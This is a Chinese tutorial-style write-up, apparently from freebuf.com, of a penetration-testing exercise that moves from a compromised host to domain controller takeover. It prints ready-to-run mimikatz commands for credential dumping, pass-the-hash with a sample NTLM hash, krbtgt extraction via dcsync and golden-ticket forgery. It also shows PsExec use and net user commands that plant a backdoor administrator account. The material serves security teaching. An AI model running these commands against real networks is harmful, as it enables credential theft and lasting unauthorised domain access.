记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty

前言

前情提要见上篇内容

本次渗透使用工具:

mimikatz,PsExec

本次渗透网络拓扑图:

图片[1]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

开始渗透

上一篇文章中我们讲到我们成功渗透了目标内网中web服务器并提取其管理员明文密码,通过明文密码又成功登陆了内网中的另一台机器(10.0.1.8)

图片[2]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

将mimikatz上传到10.0.1.8后运行下列命令进行提权和抓取管理员密码:

privilege::debug
sekurlsa::logonpasswords

图片[3]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

图片[4]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

发现域管理员账号曾经登陆过这台机器,如果我们能够抓取到他的密码,那么我们就可以完成登陆域控的任务了

但是发现无法像上次一样抓取到管理员的明文密码,因为mimikatz的抓取密码并不是万能的

如果目标机器修改过程注册表中的相关选项或者是Windows server 2012以上版本或者是打KB2871997补丁就会抓取不到明文密码

虽然有密文,但是密文是加盐值加密的,几乎不可能通过暴力破解的方式强行猜出来

所以我们无法向上一篇文章所讲的那样直接通过明文来登录administrator,所以我们接下来要用另一种方法来登录管理员账号:哈希传递

哈希传递的原理其实非常简单,因为winsdows以及现在市面上大多数网站的登陆原理都不是直接校验明文密码,数据库中储存的也不是明文密码,而是经过哈希加密的密文

在用户输入密码时,它们会去校验用户输入密码经过加密之后的值与数据库中储存的值是否相同而不是校验明文

说白了就是windows的登陆原理就是哈希校验,所以理论上只要你是掌握了管理员密码的哈希值就有可能只通过这一个哈希值进行登录

实际上在渗透测试中,哈希传递是一个非常实用和常见的攻击手法

在我们的神器mimikatz中封装了哈希传递的功能

使用以下命令进行哈希传递

sekurlsa::pth /user:administrator /domain:"XXX" /ntlm:61465a991b168727b65b3644aab823cd
domain中填写域的名称

图片[5]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

成功执行后会弹出一个cmd窗口,我们尝试用此窗口访问域控

图片[6]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

成功访问域控C盘,但是仅仅能够访问不能够我们强烈的渗透欲望

我们可不可以向域控中添加一个自己的账号来登录呢

这里又要用到一个提权工具PsExec,这是windows官方自带的提权工具

因为这里我们已经通过哈希传递登录了域管账号,拥有了域管权限,所以接下来只需要打开一个域控的cmd就可以进行添加用户的操作了

通过

PsExec.exe //域控地址 cmd

图片[7]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

在弹出的cmd下用systeminfo查看机器信息,确定是域控的cmd无疑

来打开域控的cmd,接下来就是我们熟悉的套路了

net user haixian abc123456.! /add
net localgroup administrators haixian /add

图片[8]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

成功添加管理员账号,接下来就可以进行登陆域控主机,制作黄金票据了,但制作黄金票据之前我们首先要了解什么是黄金票据以及制作黄金票据的意义

在域中,在域中域控账号要登录客户机,需要通过一个认证过程所颁发的通行证,这个通行证就叫做票据,票据又分为黄金票据和白银票据票据一个是用域控用户账户制作,一个是用krbtgt账户(KDC超管账号)制作

金票权限是最大的

这个认证过程就是windows的认证协议-Kerberos

我们通过一张图来大体了解一下什么是Kerberos:

图片[9]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

上图演示了大致的票据颁发过程,这中间还有一次客户机和KDC通过AC的一次加密身份验证,真实的Kerberos是一个非常复杂的认证过程

以上只是简单介绍方便理解,通俗来说,就是域控与客户机的认证需要一个通行证(也就是票据)

也就是说有了黄金票据就拥有了KDC的权限,就可以任意访问域内任何一台机器了

接下来进入实操:

首先通过我们创建的haixian账户进入域控,并上传mimitatz

通过

lsadump::dcsync /user:krbtgt

可以抓取krbtgt账户的哈希和securityID,这两者是制作黄金票据的关键:

图片[10]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

然后在10.0.1.8这台主机的mimikatz通过

kerberos::golden /admin:administrator /domain:XXX /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi

来制作黄金票据,不过这里需要注意securityID的最后-502并不是它的内容,而是下一个ID的内容,制作的时候要注意别掉到坑里去

通过

kerberos::ptt administrator.kiribi

来使本机加载黄金票据

图片[11]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

图片[12]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

可以看到加载黄金票据前这台10.0.1.8并没有访问域控的权限

加载成功后我们使用10.0.1.8这台机器的cmd尝试访问域控机器的C盘,发现成功,接下来就是老套路包括添加账户等等

图片[13]-记一次由SQL注入到拿下域控的渗透测试实战演练(下) – 作者:secur1ty-安全小百科

在最后不得不感慨一句mimikatz牛X!它的很多功能本文还没有涉及到,感兴趣的读者可以自行百度或谷歌了解~

(注意这里的黄金票据是长期有效的,修改管理员账号密码是没有用的,它所依靠的是KDC,而KDC的密码是在建立域的最初设置的,这个密码一般会很复杂,也很少会改,所以相对与哈希传递,黄金票据才是当之无愧的“后门”)

至此,我们完成了对目标内网的一系列渗透,从最初的sql注入getshell到最后的在域控机器留下后门,几乎包含了经典渗透测试的全过程,所涉及知识与操作较为简单,适合新手阅读

(谢谢大家,溜了溜了~)

来源:freebuf.com 2021-07-16 14:48:37 by: secur1ty

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论